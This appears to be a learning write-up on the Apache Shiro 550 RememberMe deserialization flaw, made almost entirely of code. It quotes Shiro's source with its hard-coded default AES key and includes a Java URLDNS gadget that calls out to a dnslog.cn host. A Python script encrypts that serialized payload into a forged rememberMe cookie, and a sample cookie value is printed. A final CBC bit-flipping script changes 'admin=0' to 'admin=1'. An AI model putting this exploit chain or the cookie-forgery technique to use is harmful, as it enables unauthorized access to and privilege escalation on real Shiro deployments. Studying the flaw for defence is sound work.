1
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
2
    if (!WebUtils.isHttp(subject)) {
3
        if (log.isDebugEnabled()) {
4
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
5
            log.debug(msg);
6
        }
7

8
    } else {
9
        HttpServletRequest request = WebUtils.getHttpRequest(subject);
10
        HttpServletResponse response = WebUtils.getHttpResponse(subject);
11
        String base64 = Base64.encodeToString(serialized);
12
        Cookie template = this.getCookie();
13
        Cookie cookie = new SimpleCookie(template);
14
        cookie.setValue(base64);
15
        cookie.saveTo(request, response);
16
    }
17
}

1
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
2
    if (!WebUtils.isHttp(subjectContext)) {
3
        if (log.isDebugEnabled()) {
4
            String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
5
            log.debug(msg);
6
        }
7

8
        return null;
9
    } else {
10
        WebSubjectContext wsc = (WebSubjectContext)subjectContext;
11
        if (this.isIdentityRemoved(wsc)) {
12
            return null;
13
        } else {
14
            HttpServletRequest request = WebUtils.getHttpRequest(wsc);
15
            HttpServletResponse response = WebUtils.getHttpResponse(wsc);
16
            String base64 = this.getCookie().readValue(request, response);
17
            if ("deleteMe".equals(base64)) {
18
                return null;
19
            } else if (base64 != null) {
20
                base64 = this.ensurePadding(base64);
21
                if (log.isTraceEnabled()) {
22
                    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
23
                }
24

25
                byte[] decoded = Base64.decode(base64);
26
                if (log.isTraceEnabled()) {
27
                    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
28
                }
29

30
                return decoded;
31
            } else {
32
                return null;
33
            }
34
        }
35
    }
36
}

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
2

3
public AbstractRememberMeManager() {
4
    this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
5
}
6

7
public void setCipherKey(byte[] cipherKey) {
8
    this.setEncryptionCipherKey(cipherKey);
9
    this.setDecryptionCipherKey(cipherKey);
10
}
11

12
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
13
    this.encryptionCipherKey = encryptionCipherKey;
14
}
15

16
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
17
    this.decryptionCipherKey = decryptionCipherKey;
18
}

1
private Serializer<PrincipalCollection> serializer = new DefaultSerializer();
2

3
public Serializer<PrincipalCollection> getSerializer() {
4
    return this.serializer;
5
}

1
import java.io.*;
2
import java.lang.reflect.Field;
3
import java.net.MalformedURLException;
4
import java.net.URL;
5
import java.util.HashMap;
6

7

8
public class Main {
9
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
10
        HashMap<URL,String> map = new HashMap<>();
11
        URL url = new URL("http://zv45cu.dnslog.cn");
12

13
        Field field = URL.class.getDeclaredField("hashCode");
14
        field.setAccessible(true);
15
        field.set(url,1234);
16

17
        map.put(url,"test");
18

19

20
        Field field1 = URL.class.getDeclaredField("hashCode");
21
        field1.setAccessible(true);
22
        field1.set(url,-1);
23

24

25
        FileOutputStream a = new FileOutputStream("D:\\tools_D\\java\\java_learn\\shiro550\\src\\main\\webapp\\ser.bin");
26
        ObjectOutputStream out = new ObjectOutputStream(a);
27
        out.writeObject(map);
28
        out.close();
29

30
//        FileInputStream b = new FileInputStream("D:\\tools_D\\java\\java_learn\\shiro550\\src\\main\\webapp\\ser.bin");
31
//        ObjectInputStream i = new ObjectInputStream(b);
32
//        i.readObject();
33

34

35
    }
36
}

1
import uuid
2
import base64
3
from Crypto.Cipher import AES
4

5
def read_data(filename):
6
    file = open(filename, "rb")
7
    data = file.read()
8
    file.close()
9
    return data
10

11
def enc(data):
12
    BS = AES.block_size
13
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
14
    mode = AES.MODE_CBC
15
    key = "kPH+bIxk5D2deZiIxcaaaA=="
16
    iv = uuid.uuid4().bytes
17
    encryptor = AES.new(base64.b64decode(key), mode, iv)
18
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
19
    return ciphertext
20

21
if __name__ == "__main__":
22
    data = read_data("ser.bin")
23
    print(enc(data))

1
GqqleiFyRIKDczYSD3ASBDSMe3t5bcbdSZXBQjvB8yMnJdG8BKZeGQbfoUbQ2F1Z6Q8MNrwLLPa0wbphyLvlBPhRiWICjCsG6XUkr9E4oBUy0HnypoRB/6vpLZbk8mp8+iLdTc7sWTRU4Vmx72542wfvQIFg6t7NBCNmfwDxLpVBBhlvcOxEswp1iVR5lOVaH6bzuaPBPoFtl5kzP/L62T0nAjtSOt/uWgjCqoHohjMgmUR05dJlXj8G7OcXupPlic3F8+Daf4IgOHYFHRgdmGoXKF2K6ftQOhrngrZiX9eNQU7vz2vJIxWnkq6ZRicrwVickx8EYsmRqafj/6kNSUOTUBFc4phicojtg18b3B0CJQbZ2gEZ6Lpwu0U/sdM/

1
from Crypto.Cipher import AES
2
from Crypto.Util.Padding import pad
3
import os
4

5
# 使用 decrypt_token 模拟服务端解密， Key IV 未知
6
KEY = os.urandom(16)
7
IV = os.urandom(16)
8
BLOCK_SIZE = 16
9

10
def get_encrypted_token():
11
    plaintext = b'A' * 16 + b'user:999;admin=0'
12
    plaintext = pad(plaintext, BLOCK_SIZE)
13
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
14
    ciphertext = cipher.encrypt(plaintext)
15
    return ciphertext
16

17
def decrypt_token(ciphertext):
18
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
19
    plaintext = cipher.decrypt(ciphertext)
20
    return plaintext
21

22

23
# 获取原始密文
24
original_ciphertext = get_encrypted_token()
25
print(f"[+] original ciphertext: {original_ciphertext.hex()}")
26

27
modified_ciphertext = bytearray(original_ciphertext)
28

29
# 要将 admin=0 改为 admin=1
30
target_block_index = 1 # 目标在 Block 1
31
byte_index_in_block = 15 # 目标字节在块内的偏移量
32

33
# 需要修改 Block i-1 的密文
34
prev_block_start = (target_block_index - 1) * BLOCK_SIZE
35
target_byte_addr = prev_block_start + byte_index_in_block
36

37

38
C_old = modified_ciphertext[target_byte_addr] # C_{i-1}[k]
39
P_old = ord('0')                              # P_i[k]_old
40
P_new = ord('1')                              # P_i[k]_new
41

42
# 计算新的密文这一字节
43
C_new = C_old ^ P_old ^ P_new
44
modified_ciphertext[target_byte_addr] = C_new
45
# modified_ciphertext_list = list(modified_ciphertext)
46
print(f"[+] modified ciphertext: {modified_ciphertext.hex()}")
47
print(f"\n[+] send fixed ciphertext to server...")
48
decrypted_plaintext = decrypt_token(bytes(modified_ciphertext))
49

50
block1_decrypted = decrypted_plaintext[:16]
51
block2_decrypted = decrypted_plaintext[16:]
52

53

54
print(f"Block 1 decrypt result (ruined result block1): {block1_decrypted}")
55
print(f"Block 2 decrypt result (attack success block2): {block2_decrypted}")